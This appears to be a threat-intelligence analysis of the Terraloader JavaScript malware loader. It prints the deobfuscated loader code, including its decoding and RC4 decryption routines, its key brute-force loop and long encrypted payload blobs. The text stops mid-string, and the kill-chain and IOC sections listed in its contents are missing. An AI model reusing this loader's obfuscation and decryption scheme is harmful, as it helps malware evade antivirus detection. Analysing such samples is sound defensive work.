CyberThreatIntel/Additional Analysis/Terraloader/02-01-20/Analysis.md

# Analysis of Terraloader sample
## Table of Contents
* [Malware analysis](#Malware-analysis)
* [Cyber kill chain](#Cyber-kill-chain)
* [Indicators Of Compromise (IOC)](#IOC)
* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
* [Links](#Links)
  + [Original Tweet](#tweet)
  + [Link Anyrun](#Links-Anyrun)
  + [Ressources](#Ressources)

<h2>Malware analysis <a name="Malware-analysis"></a></h2>
<h6>This analysis presents a javascript loader (Terraloader) using many arrays, calculations and variables in memory for make harder the analysis and lowering the detection rate on antivirus. This loader have two stagers.</h6>
<h6> The first block of the payload is the globals values used for decode the first layer, this give the tab of values as key, the offset, the base of characters and the rest for initialized the variables used for the second stage.</h6>

```javascript
var tab = [];
var base = [];
var offset_tab = 0;
var blawp718 = "";
var blawp4015 = "";
var blawp73 = "";
var blawp1023 = "";
var blawp7173 = "";
var blawp7178 = "";
var blawp9073 = "";
var blawp77 = "";
var blawp5376 = "";
var blawp6122 = "";
var blawp23 = "";
var blawp7 = "";
```

<h6>The next block is composed of two functions, the first use a switch case condition to select the character corresponding to its ASCII value, one interesting thing to note is the fact that the default case isn't set, it is automatically created by an IDE , which is more the sign of a generation by a tool.</h6>

```javascript
function get_ascii_value(arg) 
{
 var x = "";
 switch (arg) {
  case 32:
   x = " ";
   break;
  case 33:
   x = "!";
   break;
  case 34:
   x = '"';
   break;
  case 35:
   x = "#";
   break;
  case 36:
   x = "$";
   break;
  case 37:
   x = "%";
   break;
  case 38:
   x = "&";
   break;
  case 39:
   x = "'";
   break;
  case 40:
   x = "(";
   break;
  case 41:
   x = ")";
   break;
  case 42:
   x = "*";
   break;
  case 43:
   x = "+";
   break;
  case 44:
   x = ",";
   break;
  case 45:
   x = "-";
   break;
  case 46:
   x = ".";
   break;
  case 47:
   x = "/";
   break;
  case 48:
   x = "0";
   break;
  case 49:
   x = "1";
   break;
  case 50:
   x = "2";
   break;
  case 51:
   x = "3";
   break;
  case 52:
   x = "4";
   break;
  case 53:
   x = "5";
   break;
  case 54:
   x = "6";
   break;
  case 55:
   x = "7";
   break;
  case 56:
   x = "8";
   break;
  case 57:
   x = "9";
   break;
  case 58:
   x = ":";
   break;
  case 59:
   x = ";";
   break;
  case 60:
   x = "<";
   break;
  case 61:
   x = "=";
   break;
  case 62:
   x = ">";
   break;
  case 63:
   x = "?";
   break;
  case 64:
   x = "@";
   break;
  case 65:
   x = "A";
   break;
  case 66:
   x = "B";
   break;
  case 67:
   x = "C";
   break;
  case 68:
   x = "D";
   break;
  case 69:
   x = "E";
   break;
  case 70:
   x = "F";
   break;
  case 71:
   x = "G";
   break;
  case 72:
   x = "H";
   break;
  case 73:
   x = "I";
   break;
  case 74:
   x = "J";
   break;
  case 75:
   x = "K";
   break;
  case 76:
   x = "L";
   break;
  case 77:
   x = "M";
   break;
  case 78:
   x = "N";
   break;
  case 79:
   x = "O";
   break;
  case 80:
   x = "P";
   break;
  case 81:
   x = "Q";
   break;
  case 82:
   x = "R";
   break;
  case 83:
   x = "S";
   break;
  case 84:
   x = "T";
   break;
  case 85:
   x = "U";
   break;
  case 86:
   x = "V";
   break;
  case 87:
   x = "W";
   break;
  case 88:
   x = "X";
   break;
  case 89:
   x = "Y";
   break;
  case 90:
   x = "Z";
   break;
  case 91:
   x = "[";
   break;
  case 92:
   x = "\\";
   break;
  case 93:
   x = "]";
   break;
  case 94:
   x = "^";
   break;
  case 95:
   x = "_";
   break;
  case 96:
   x = "`";
   break;
  case 97:
   x = "a";
   break;
  case 98:
   x = "b";
   break;
  case 99:
   x = "c";
   break;
  case 100:
   x = "d";
   break;
  case 101:
   x = "e";
   break;
  case 102:
   x = "f";
   break;
  case 103:
   x = "g";
   break;
  case 104:
   x = "h";
   break;
  case 105:
   x = "i";
   break;
  case 106:
   x = "j";
   break;
  case 107:
   x = "k";
   break;
  case 108:
   x = "l";
   break;
  case 109:
   x = "m";
   break;
  case 110:
   x = "n";
   break;
  case 111:
   x = "o";
   break;
  case 112:
   x = "p";
   break;
  case 113:
   x = "q";
   break;
  case 114:
   x = "r";
   break;
  case 115:
   x = "s";
   break;
  case 116:
   x = "t";
   break;
  case 117:
   x = "u";
   break;
  case 118:
   x = "v";
   break;
  case 119:
   x = "w";
   break;
  case 120:
   x = "x";
   break;
  case 121:
   x = "y";
   break;
  case 122:
   x = "z";
   break;
  case 123:
   x = "{";
   break;
  case 124:
   x = "|";
   break;
  case 125:
   x = "}";
   break;
  case 126:
   x = "~";
   break;
 }
 return x;
}
```
<h6>The second function reconstructs by a series of loops while for build the base of characters used by loader</h6>

```javascript
function get_base() 
{
 var tab_string = [];
 var tab_index = 0;
 var i = 65;
 while (i < 91) 
 {
  tab_string[tab_index] = get_ascii_value(i);
  i = i + 1;
  tab_index = tab_index + 1;
 }
 i = 97 ;
 while (i < 123) 
 {
  tab_string[tab_index] = get_ascii_value(i);
  i = i + 1;
  tab_index = tab_index + 1;
 }
 i = 48;
 while (i < 58) 
 {
  tab_string[tab_index] = get_ascii_value(i);
  i = i + 1;
  tab_index = tab_index + 1;
 }
 tab_string[tab_index] = get_ascii_value(33);
 tab_index = tab_index + 1;
 i = 35;
 while (i < 39) {
  tab_string[tab_index] = get_ascii_value(i);
  i = i + 1;
  tab_index = tab_index + 1;
 }
 i = 40;
 while (i < 45) {
  tab_string[tab_index] = get_ascii_value(i);
  i = i + 1;
  tab_index = tab_index + 1;
 }
 tab_string[tab_index] = get_ascii_value((4450 - 4404));
 tab_index = tab_index + 1;
 tab_string[tab_index] = get_ascii_value((2169 - 2122));
 tab_index = tab_index + 1;
 i = 58;
 while (i < 65) {
  tab_string[tab_index] = get_ascii_value(i);
  i = i + 1;
  tab_index = tab_index + 1;
 }
 tab_string[tab_index] = get_ascii_value(91);
 tab_index = tab_index + 1;
 tab_string[tab_index] = get_ascii_value(93);
 tab_index = tab_index + 1;
 i = 94;
 while (i < 97) {
  tab_string[tab_index] = get_ascii_value(i);
  i = i + 1;
  tab_index = tab_index + 1;
 }
 i = 123;
 while (i < 127) {
  tab_string[tab_index] = get_ascii_value(i);
  i = i + 1;
  tab_index = tab_index + 1;
 }
 tab_string[tab_index] = get_ascii_value(34);
 return tab_string;
}
function find_index(tab, search_element) 
{
 var index = 0;
 do {
  if (tab[index] === search_element) {return index;}
  index = index + 1;
 } while (index < get_length(tab));
}
```

<h6>The third block is composed of five functions, the first two give the length of an object and the second to push an element in succession in the chosen array. The third allows to create an ability to search for a element in an array and get the index. </h6>

```javascript
function get_length(arg) {return arg.length;}
function push_element(tab, index) {return tab.push(index);}
function find_index(tab, search_element) 
{
 var index = 0;
 do {
  if (tab[index] === search_element) {return index;}
  index = index + 1;
 } while (index < get_length(tab));
}
```
<h6>The penultimate function give a capacity to compare two array for verity if the sequence of elements in a array is the same, this will be used later in the decryption of payloads. The last allows you to join the elements of an array to a string.</h6>

```javascript
function compare_arrays(tab, tab2) 
{
 var lim = get_length(tab);
 var index = 0;
 if (lim !== get_length(tab2)) {return false;}
 do {
  if (tab[index] !== tab2[index]) {return false;}
  index = index + 1;
 } while (index < lim);
 return true;
}
function string_join(arg) 
{
 var tab = [];
 var result = "";
 var i = 0;
 do {
  push_element(tab, get_ascii_value(arg[i]));
  i = i + 1;
 } while (i < get_length(arg));
 result = tab.join("");
 return result;
}
```

<h6>The last block of four functions before seeing the main process of the script. The first function is an RC4 decryption for the fisrt decryption process. The second function the ability to decode byte by byte for the second decryption time. The third function is incremented on each return of main algorithm for get the key for the RC4 description, by this fact, this make a fixed value of the loops needed for the main algorithm. The last function launch the process for decrypt all the payloads in the script (exe + doc files).</h6>

```javascript

function rc4_gen_xor(arg1, arg2, arg3) {
 var tab = [];
 var j = 0;
 var tmp_array;
 var result = [];
 var i;
 var inc = 0;
 if (arg2 && arg1) {
  i = 0;
  do {
   tab[i] = i;
   i += 1;
  } while (i < 256);
  i = 0;
  do {
   j = (j + tab[i] + arg2[i % arg3]) % 256;
   tmp_array = tab[i];
   tab[i] = tab[j];
   tab[j] = tmp_array;
   i += 1;
  } while (i < 256);
  i = 0;
  j = 0;
  do {
   i = (i + 1) % 256;
   j = (j + tab[i]) % 256;
   tmp_array = tab[i];
   tab[i] = tab[j];
   tab[j] = tmp_array;
   push_element(result, arg1[inc] ^ tab[(tab[i] + tab[j]) % 256]);
   inc += 1;
  } while (inc < get_length(arg1));
 }
 return result;
}

function decode_byte(arg) 
{
 if (arg) {
  var length_arg = get_length(arg);
  var tab = [];
  var tmp_var = 0;
  var inc_offset = 0;
  var ref_offset = -1;
  var ref_index;
  var index_arg = 0;
  do {
   ref_index = find_index(base, arg.charAt(index_arg));
   if (ref_index !== -1) {
    if (ref_offset < 0) {ref_offset = ref_index;} 
    else {
     ref_offset = ref_offset + ref_index * 91;
     tmp_var = tmp_var | ref_offset << inc_offset;
     if ((ref_offset & 8191) > 88) {inc_offset = inc_offset + 13;} 
     else {inc_offset = inc_offset + 14;}
     do {
      push_element(tab, tmp_var & 255);
      tmp_var = tmp_var >> 8;
      inc_offset = inc_offset - 8;
     } while (inc_offset > 7);
     ref_offset = -1;
    }
   }
   index_arg = index_arg + 1;
  } while (index_arg < length_arg);
  if (ref_offset > -1) {push_element(tab, (tmp_var | ref_offset << inc_offset) & (255) );}
  return (tab);
 }
}

function switch_inc(arg) 
{
 var x = 0;
 switch (parseInt(arg)) {
  case 0:
   x = 48;
   break;
  case 1:
   x = 49;
   break;
  case 2:
   x = 50;
   break;
  case 3:
   x = 51;
   break;
  case 4:
   x = 52;
   break;
  case 5:
   x = 53;
   break;
  case 6:
   x = 54;
   break;
  case 7:
   x = 55;
   break;
  case 8:
   x = 56;
   break;
  case 9:
   x = 57;
   break;
 }
 return x;
}

function decode_payload(arg, offset1, offset2) 
{
 var tab = decode_byte(arg);
 var tab1 = rc4_gen_xor(tab, offset1, offset2);
 return string_join(tab1);
}
```

<h6>Now, the main algorithm for the main function. Firstly, this used use a do-while loop to generate a sequence of elements if this trigger the same sequence that the reference, this break the loop in changing the value.</h6>

```javascript 
function main() 
{
 var seq = ["56","48","65","69","66","52","52","70","67","48","52","49","67","65","49","51","56","68","67","50","65","57","49","68","52","65","70","50","67","66"];
 var base_rc4_array = ["215","222","25","139","201","0","105","245","65","151","59","255","225","38","56","210","150","155","102","217","254","187","160","241","186","19","19","145","227","137"];
 var iden_correct = 0;
 var inc = "";
 var lim = 0;
 var tmp_array = [];
 var tab=["98","72","102","109","106","112","83","117","101","117","65","79","115","68","88","116","104","108"];
 var index = get_length(tab);
 var i = 0;
 var result_rc4;
 do {
  inc = (i + "");
  lim = get_length(inc);
  if (lim === 1) {tab[index] = switch_inc(i);} 
  else 
  {
   tmp_array = inc.split("");
   tab[index] = switch_inc(tmp_array[0]);
   switch (lim) 
   {
    case 2:
     tab[index + 1] = switch_inc(tmp_array[1]);
     break;
    case 3:
     tab[index + 1] = switch_inc(tmp_array[1]);
     tab[index + 2] = switch_inc(tmp_array[2]);
     break;
    case 4:
     tab[index + 1] = switch_inc(tmp_array[1]);
     tab[index + 2] = switch_inc(tmp_array[2]);
     tab[index + 3] = switch_inc(tmp_array[3]);
     break;
    case 5:
     tab[index + 1] = switch_inc(tmp_array[1]);
     tab[index + 2] = switch_inc(tmp_array[2]);
     tab[index + 3] = switch_inc(tmp_array[3]);
     tab[index + 4] = switch_inc(tmp_array[4]);
     break;
    case 6:
     tab[index + 1] = switch_inc(tmp_array[1]);
     tab[index + 2] = switch_inc(tmp_array[2]);
     tab[index + 3] = switch_inc(tmp_array[3]);
     tab[index + 4] = switch_inc(tmp_array[4]);
     tab[index + 5] = switch_inc(tmp_array[5]);
     break;
    case 7:
     tab[index + 1] = switch_inc(tmp_array[1]);
     tab[index + 2] = switch_inc(tmp_array[2]);
     tab[index + 3] = switch_inc(tmp_array[3]);
     tab[index + 4] = switch_inc(tmp_array[4]);
     tab[index + 5] = switch_inc(tmp_array[5]);
     tab[index + 6] = switch_inc(tmp_array[6]);
     break;
   }
  }
  result_rc4 = rc4_gen_xor(base_rc4_array, tab, lim + index);
  if (compare_arrays(result_rc4, seq) === true) { iden_correct = 915;}
  i = i + 1;
 } while (iden_correct === 0);
 seq = 0;
 base_rc4_array = 0;
 i = 0;
 offset_tab = lim + index;
 ```
 <h6>By debug, this give the following parameters : </h6>
 
|Variable|Value|
| :-------------: |:-------------:|
|i|200|
|lim|3|
|index|18|
|offset|21|
|tab|[98,72,102,109,106,112,83,117,101,117,65,79,115,68,88,116,104,108,49,57,57]|
 

 ```javascript 
 if (iden_correct === 915) 
 {
  blawp4015 = 'EeIv%zg?"inD5mU';
  blawp73 = '3^WFo*N06.xVSb8.';
  blawp1023 = 'c{+tm06*B';
  blawp7173 = 'rVVF=+;Msl7';
  blawp7178 = '?@1YW3E[A';
  blawp9073 = '`EWyt';
  blawp5376 = '9gIcn}d@)WoL".]xrZB';
  blawp77 = 'hVbb<+R07.PsT.d';
  blawp23 = 'Xejbr';
  var blawp868 = 'q=bb.~cN[mUHO^M;T<B$Yr@5Xjzyu_6OcR%#u^#z(Wj|,l1OQ?`Y`3&:yP6jr`pq&j@oTj!%DX)"ZwG8uU!xHk$Dl="P8>gir$1zw9x$P!SgaC%;HP:{jG/im!gU&7I_X(IklQ6[dG:PI`<>ZU`iAc][&^z|Q3GIr&m_vK&#QGds:INk+7`NiTh1c*TimXeNl>z$f=K27q&v"evZ81mV7h+Ds+@6n4CO>c^?FGZ`+Xs&ilJY0ma!F}(/nRF5/XCCN3~jd:%t*te5uDgh73d^1FtvhwW!H`N%B&r?or8.u!An#v7^5BfjKW^}K]yLh(<9MI>9(AUb^f"Go8]l9Svylk=84;=X/jrf_cFHX3H87ks:=4.#Qx)7"c*A}pF.DgkQ1.<uwtHp/fHs$cFpF,yIqjo{,yERKl&lG{X6Vv<l}HSE0FxpmiQCF_75a:[T:/66OH|832~;D?:w5&7.3o:lYSd&X7YrI:R?kSfVhVU{=9D&5c&Q>?:Ei>erfni}J?>[)Q12+90Ct%&u8KG!|K~I4jOoHq~Cc_$?dI9ZN`EVe/r{W7nZ+{Zn5TZ"PA)l8RqSbSZDPDgh_=?M7:/8q[b6q]1]oo=.9T>38D&8&dL"ljtw/2UmHaDzWTa@Mb>Ln<]>[+<r<jaqEhz`|U>c(B9>9MttCS$DF:84O%E:d*MX:[{>B=8;`?5]9?0l)Z_.N=4L>B3UvT/lus:IHrmtn{q+q23FxTyl/NPB4f)Y^njSKZ!]xy_tNPq=Uq+[BNdL=(7z}r%}$>(8?_gKBP16yH9I{JU1t`Y7&&#d^3NC"+KuZ%FFI&jE+rX"fy"h@>8XQd@siq$K@+eTbFVQ5+Y33P)H,7dx;&@taQhdCObU7NxRAb{Y2kI+UL9f5X+Dxb&?DR|?khKIV?X[QFerFIeL[R~{D_WkQ[/iU=,?|YMg}tq#:Q$2`~J)HvEPJDalFC;^eQBl@x3+d|::s~SqlJ,u0UG.LiPHm/+`_%&gNK=".:2PTz<{6pdCamXVxavWxgz5x;[2>O2eI1_lEysb&._0.s+Bp4f&@Z"I:G`V~e5yGVvJc5HEVMU<m>(`wRfhv(q}nFp_|#s!"Jj0;G]u/(kjE|pDbu@bHq:r:I4.n5w@Ri#whG0t5+Zt)uGZb9aYqu7O|W5=;IL^7Nlm3K8>]7i*NBK7T"_%iJLKQkz^O6CL.~mG:la+&*dd^DW^AP0IZjd]&&KMKhXs/|y:2jo;duQ>zbNdo#|hn2:0v)SK!zP9ZW_#8Gl3;bZ>SnnpM2"w_CoTGG^@5d:o4mLK#c(xs)9V)jg;xoks?$z0s~e2!D5[6i^Sq.f(hlh3B/A[O`6r]H{7b@Shcy#+uG<QmV8FU/8Ji.9!B|9&9x"T^v?kNDI.Yk@nmR|/+]>T0s;M<)FOdw4.o`?a[qM}`KU[]4"SSBn~nZIdF<z6Vnd^aLn:~eV6yhOR3$q>S/@_W71{qzi%E=FM2sJb[oG.8fgz19nwwKHJSWd@,R@sfn1|?dyzcLk34r!m6c,LW^ZYKf/!,uJ(e3^09)"dgou=Uim<>M)Yzu?e+m:g!za`UIFu>j@z&TRB2KJqL!w?(tk==yUir5<kin>"0dA7Wc=^3#9L;0FZ$_J0N@9z%QT)[t,8H?P~%[R}Z=}rYO)X3nI?D#W[1$]WSUQBro@*q?EQ_{vVEKbijf>|M+?%>~wgHX*?bU<FY<{bMW?&zsVSbiN([=wu]x&NCw`hcspm*W51M76I7H"|6/qG&]$v%&o*6z7KFdIkC.BI>v%8~tU/ppM+|C~`n<l$G}]e!a..mGr*FQLXs<PXg(k_~kT!Fb6NelklQQ7>(U!U3H3d7mUT<fOqi@aDz3I+4RZtsWMw;RiKgdFSpcSoA!^3!g<t)Kg(W}5Pt2}F3_C&1{tJ;$vG%Btc.9A}y`wJXAI%(kOw7tQ$@<,4AM.cjRISM|a7jewR`m"d0q],6gA(`X6<v_]EE.jk=O4h?e8^?^"/^]5"kf:]Y!YZ|0sgNZXiJRhfQ3bxHpf2Y=&>=7^_KX!tjE^?BsgQF]2Qx9|u[ManzpM2$uuLM/pV,_6C*MPwd6FrUJM$$xEyrp3$`NLM,.2D1i!;l}<yQILB"*C3n)9T,i=O*a5Gc|8>jfl({3HPnb3I84iD8~IrJ&`zyKom&Bb<%,0%i#/VV`^gK%YLjz]@HcUB)G#1wta6_qTuvDPtS8<9!MK3#tJrjcxxEAb#6BFpxO+x1L*9;k{6J(JoLzHNZ[,&|1^8@l8GPJGnub0_Gut#EgxuG(O)pC7n4t>@?Jk8q=eLRj.lJkL.*S5pZm/b?9p;q{LNL_7^~khc0VY}Y,~SMrHP602%hT|@b$^D|hh3)u+4B^JEs%RFg;NWJVph7]ON~KL)Veu_GC<`xkFbH?9bu/Y?s/Rhdc$5|jC1{_9y<W[s_>@LRL[Z**6uf/4AQfTGWcdOwRUz,_hjHbi@hC{_{8@Z=D4pp|UR4@ib>L5fkm[)"kMz.qbXjRQOVE&Gf`]U.Wk>3IT+<>)m/Rw;6GoYK7rXV|a^y+ftjnvn=Q!q*7Cl886HSnjpZ`OzRayeH&VIF)uyW(dMbR4KWxKp"4$lI}91{e4=H.2$=p1UBpV0<wPXv:=)mzQ`$]>qK@$Fjyv8.y0>cbl:Hc{ayQ+M!Skk%f9sHAe/$1s4=9#N_~Kw0quNvH`[UB{]e|97O:$9h/A?;zXFE7Tf+[WJZBRXB,m]F|DUPRp,Yvo,VT_ow8S%ZV:|q+Gg1Kq&Tu+e;,Ls)*(EH=y9V{WN{drs3bfI^^Se/Xb=qT<VCb`I7t)3I[LQ_g@d6K^#_wNm<O/M=~AS&p6GI5=4:x&{fK./G+om|&1[7P/v5W?Ee~IyaRlcgOY[c[d7e3=|K5}dMCaCg`y>F}3y?^e1Cq)*ROylJ<BDKjtK.IKQP,BvyjeP$=N%&7tblRA*3q/(mr^LV)B:]6r$]Q.+wXeGmA8IDaJO$}0j|<|*}6>VI~`F%B39wSMh]8idYkQDJ(@.(T/!"o/L{OwE~_bC*Z"h.,E(:6yM}hn|@E=k1M"e[|y*#p25Bc#UOj~WhPB:^&DuJFc?1nBc,X]O_iOl[Yc}!4[#&Gn.XSP5QpGpUvJ[>;Ye#D%nK#%%DqU~qTubztqJAMC=E"Nux,zvGed}F|WMl7dS.[vS18e!g;8~ZWI8A?6e_X:Moc@G@~S@Ks=Ui{~O+meM{kn_8:e8HZLIW6)<Q}](,EKl!H1N^_:<"|#y_9Xa<8U1pi;.Sr.G15/x[9xjXDHnpiJXL^C^W/_Q40}q42lBFpN]4Y]WP&AxgE<5?C<b|JSijmwL01yET.YX1k<S"p9,/CdRDoM;>{a3J^;1$*ItMkidms15kW7ENZEDlcTH,;h^9>j{VCQwDRb;v_v/3:,a;E!=iP3QF|pt}E]#5/s<5|]y)W<N|,_j2B84hhZ&0BWPDbyD[+;:GEX.*~whE<Ojwf.s#uG+9&L2;f/$H)8r+.1O:BRab@wOdhdGAQuP+9yJz#rz)g|G$f*96fEq$#7jye)%e|AnKibSFh>EC=R)|>=nURCnT+0:"f6,<kWLV:>KvR"MH%mJa2:+:khs6H;x_dP.mI%@G:otAi_~CX:otyXM)adAiF?T`_!/Zyo4=U8*UeQ^Y&5nMnG7,8a/imXBBMSqe5uJ~bY#cQ=sDD[i"C$g6cgz!{j0.JEk%f#8CqvWXi{N:.mrS~:,xa6wV6*~:,"ZkEnDGyNd]FB$r7}0|[VQw*9U56/ur#BhQEjZ)z.v70:h|w#&l3RAy`cMe!AtUZJ$4I^[d|9QkL31S>vQj9u9=VzdNLzdG4P!NkARtg1|`yROgm[R.?@sq.y#)u$J^q,fvSY;A1O_ZPS[z!][3kIvG@QD!*IV3ocvcY*Pi_SjeBeuYctjZ:2wI6U;*DFTH+4:j_!z!@Z#VfIruW(+I0~`h&U`8lc06O=(,si8o]pnc8C`J!b&?oS_>_37Ty&#MX+oQlzemlX?H%p^h`K?,r8h}KW^K;Gl~*Z$8C2$:aSiYERHjuk@S`:&Y6xySSXFQ[VzF:!j;iBT:esfDH@v<i]qR|pP7{OO:NbKX|M$t]V.aOQAX{HRD[8IK

blawp718 = 'E67!RGb:wf[2S)~g"a.$?&%!(h5Yt;KdiJ6[hD$0AlfRt6pbY/c2xYicDK+k7stKIp7Q<ws3#<V^.=pQT(|X0r%)E2x<pIR;l3.`l<ghx^G4svt9g^#^x%3B!iKS)%MvX>=KXntvTu$j7)my61dw2`fB+a3vz~oD&qg8O{q&8<MX7S6_xX(v/t8CSK3htOjD(MmMH)LW4,/vr3}@D5]o|[&A?:^hX$|JH//5YR2`cy!q@r(sjx~p(47FfWsIVz!H6};h,yTgiJagSF#X/Yn[MqDF;3v,,`[uer.w/WH9Ml`xG6<pxY1hvEk|O[x+hw3T3`+[=m"T673bk@D/PxL%M_fg"4M?91XN4P"Bpb0pYeXG6(/p|iN|$uz*8/e%t>HxM&TJ5V&i8s+BkHP~6=6j)]veqcy$*hlK4G(/8Q},.t/XPV7*~YhIXxfN?)3UrRh5A2m:=gv5&.`ly{,#o![5w|H@"VK"Qkeae>wUxj(3g}:e`iYd<a$9wx%oy/~^ynvhLZwM%a}|ccAdv&t_JaU{4kYNS7`N;gL=[8j1S}n$T9e=~z!KJl:^Zk:abkm3?c~`24*ZOckTcaL[O#WVn:27NboU53]WLeI(&z/5xx,z4M/}R=w;|/Zl&YtKQe_Y3nFFLl"+8}Alwd5dsUP(lMkG1*q,KS70)k<EE{rmzb~8lkSq3tq(ReUO9w7PG05*>S9=AW2wd<u_*D8("n.|cQFer6]s9~M30mAY~f$nuMR6R!|[yUnk_w`HE!(kle8Yr;cTgG=)T?&G.K698U3sCQBwl|)#}|U#X(^3[FcX.Bq`(#D;,&w+"67EQ~L*Hb`BZ@![/o"r<OpUOY6@lJ#7M^C5H=IAu{"J1Bn~EN9fkM<5*K(smivo"$lqfPIl5?yT9>4Vh1;(.A}BN{X+!;VN*w|D.22Z*6:<X&Xt48,fsG|zK~ccqxpQ/1RxtZ5iA|!sr""a;s^i1imaS?KwVD"KM|3XY[5r55,[O!d3jrz|26;WkiFV?/s$}[5yUhT&B?:HGxoi,aJ<Yu7X2)c3mCfNUT6Z|zGYb.p,Q87ntx3J]}`mL,Nd;MOL=`H^_fIkdt]<6aIwMj}Zj{B3Lrn^]gu@2!?`@.ol]g*?lwG9,Ad{yCF7!MfBF4nI3IZL.T7w$nG:#Ik)`vS)&D#qrIC]7DM0+D&y#te1Z!3*ntJ!HN4+qM43c>C^I5*JnhNe{rkFT[7YI;W`gT|#XEw_[z"j[EqGUp[/$q[JTHa$:DURH3aI@kF%8^W>mrTH}!wxKwSxY@/g<F/cAw~zS0d@0:Cm~|$&dl,g`"A$86M0y]n|C83R5@z/[CbPJm1$wQ1s1OGT:(0kG=>).^H"b{4gd_G.xPh(s[g]K*9%*6OD&#8^p/g]*8*pV~<F$UocCpwtx[Kfew}Z2?m72ozqh&f7h{n!S;T(#ZH#JD.3Yr_]4Y)~|4i2B8`p/d>~Gkk%8/1:^2]L*HM7L2=G|V^uUqoMhXn%FR0amh2>ELq:Dg[R3qU>~U;6+I=~(<tG(0H<5!olun82p}astns2*Yx4:1JHt/o>M/Iy}#_#*r!*k}._A[?=2)>~<7v#AHx&B5<jj]QyX_9S$^%#qht%!nk033n/O!S]1~@T1iG)5.+W&;Mq@5bO1M%#NSb(W&/Roa<9nh@k<$aoY&}E0vBP4`16C33Or=Ecwr?H^HJ%`OT{KLvbnh}X7zFon7GV}Jy%hBg^}2CSwFTF>SmG)Q.,#G_p,kssy<Q7X7zQh:On8jNWfn<%y<)j,!dzP,^MxI=uDV|a+KUKEtl|,`"2za]JXTm>Y<XNgl!{7`L_"}?Qx~rZ[$Kw;*dboGmN9u(CYb7PA@fVpd|#u=P*B9"N:Lz/v,9KkF!Y5>6g(,=dqa1D~H=$YZyT+.<kMbwo=VYhm1O5DX4YK&7.U17ayk4gZkIV:~q7i$j}SwD1OVE&p[=XO)WP}G0or.ScRj!fV>5rUX0VwZlI/`O%[/TgeYohT)aGpHv.)7MJPYfS8r@m6#>cg}:Z.jC(vbr,i<6us61JpmK{x3XeU1"%vesl~<stwtbcWKFi|km:.boL">"M:/6}Pg*5SYRh^]#UeAyl3M/y{vy<z`g#~z.SW0Ta!*yYR_6sVE3wz%x8J=j8t__gw!aHpP~Mf<aj3DKue&jtMGHWa;kR@;Ofo4Dxp|&JdKUE^(|tgcp+{Ek%+]#HR[xG#@I3bef_LZANwbDmuR24hV+&v0ItuMv*R1L3*5&mMIOpYRw6#k_KS,=M`K32cNuU,4w)y9(lrX(n7^|doU8Py0E;PHkaQUTWaIMfEo@crD+4",dWbz:J6//91Dw&jCe4p1U%]2gC7wVmBS:4231n=_`|C4+%Ze9G[n5b4/VW6II2h{iEy%+F4di.Ww^co9@|aJk.moIdetaCNmJ63Sj5:S(tNAQ0tCEHF1~Z3n9I(wKV`DWeYB_g6T}V0iXrXU(yLq6$a_Uqo<BVPm:0G^E_dNWW+BeDD)GoHowGJu1wug&Ztf$L%(m^D0<@4PE<u^)&ql,u45m^<sQ9qD~q3u<L=F=dH<$Cxzbta#G!aLNK|Pm62gHrT08kxZ0.NW)rBKd)#x1_$Cc(YQs~JCS|Lqi=Ir8|"4+0gFVV]o!Rv3$s$5tq(gM#kfY".ngI"0=~<x^8[sM(d,0M*Riz3Ep)EzTY_=;ECM&$Acd"guzs%xysssw5#Z{0$t_zbfu<X*VIt;W,2h14%Kc`q|gZ^LMxr79h=c#kF5k:1Q&3Wf=ROsMnxcYS1(bE(:kaJ5qIQxEhOHXJ@?xk~fabd~(G&]z%Al]op0f!q[`]cGLWF:<;}alefW7p0XcFDUyakbDsc`V)S7J2geHq/m$hb|Il,H8!XS?rVM9IM=^13iFc{#Rb&~gypStO_OErrlbs6a#CduM<1"^%S0054yUP@O0%T@`5~s!td^CxPFO"W[[hGXKU(]9{lE7spnZnVH^JV=.(Pw.%5Epg:fMj{rk`);dym21kO.mku;[0(roZUotgH?py$1?|#r0=q.1UZ]V}g1jN!O<9t2);cI:z0l%jJuM*mu&C*G]u>aswD[9SAN{8fJdfmLUpUWXEUV]P2z4_kbW?@&QS,3G_moQ+c?hguUS2t><z%[2KY*MW^8`Ifk$U{uA;(Fp#$,bbe4UG;<(bHmO^$:z6Cr`sFKQ3SGDGo8k/qM@b9FS~Lc=sWBU?`MBfVxHp}6G0r/:hOI}e%]Sj!~TAwbokR+Om9"LnA/fBbrkN`_*14;Cv8rzTIhF*4MDN9w8:V%OO#(j.n1ZjQ7U+/K`<.ZK=Q^S{E&T%`@2.R.ir!1>_bJZ.tR!IHz>E5cnF*~Xt`}P[Mb$dE^AjTWRBa})*{TC|i/yP&@3UZI"@h6S4k4)Hp>b5}`b`Wfjj.lvm(r4]<GlxlQm:7:&g,E(G1BzSD45_0vatSc_cY`)_Bf&5UxuAP(3BYFX*(<VKZBJj#L>~aoy82zK#[]E"U3|amry,<(8=z)wr?F@?kEi!Tm=zYmgL$p|~X$>2eHs:AOj"MH49cGH}m|uLoYzYz={g!&h,bNU>uxqR]tGpe<W7Nnkj!F.AF^+"JwshUJ*6ljn~&Q!ZhtYPZwna>g@I:>9&"6w9zqsCe{R$eoo`F%!i~rwcXR7D9iw38JDN60J[w;Gl.gd"[.iA1wvO#}2Rk3TLqMs"QlZ$C]d!8[Np/52sG/YAd<ql6QGt(2XuufuD]G=/,9t^$Z>v(C]y7wIPHaV(C/#kY;>3L;%*aTlZgOfcRB,Ti+M:}0vX8Dr^P:+h3$W0hCeh@JTjS_0!*oI6~f_<m_T}Zqf=]PURHb{Y!i%5xkpem2|%0}8u_H}s?=,uf&K3PdEubB$=Va"naBG5spZ6BRub6vZOe/D"2F>g%}$f.6{f$ujV7Jm9uU|]}BucmE)R6]D)#ypYQemEfGKJ`(ikEwLJNM#H8BfS^`x+J7sFy){]W{/,r$*`0#GX_<(jyd,paP[O^:!oK`f.hzOHj_wP%VSia=/xm(vF2QURg]+8+**!mf`n"jY|}hJ1u![0d#sokqnc~l"c9BG33m$cl`/p3R!A}8,f79hr&ij_"&3+XCzn/M60QNf8X,:@CVFQc7A89s@
  
